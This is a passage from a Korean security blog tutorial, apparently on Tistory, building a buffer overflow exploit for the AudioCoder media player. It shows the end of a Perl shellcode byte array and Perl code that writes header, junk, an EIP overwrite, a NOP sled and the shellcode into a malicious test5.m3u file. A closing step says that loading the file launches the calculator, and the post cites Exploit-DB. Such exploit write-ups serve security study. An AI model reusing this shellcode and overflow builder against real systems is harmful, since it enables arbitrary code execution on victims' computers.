			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


6) 위에서 생성된 test5.m3u 파일을 AudioCoder에 로딩시키면 드디어 계산기가 띄워지는 것을 확인할 수 있다.





참고

Exploit-DB(https://www.exploit-db.com/exploits/26411)


Written by dinger from SecurityInsight Research Group.

저작자 표시 비영리 변경 금지
신고

+ Recent posts

티스토리 툴바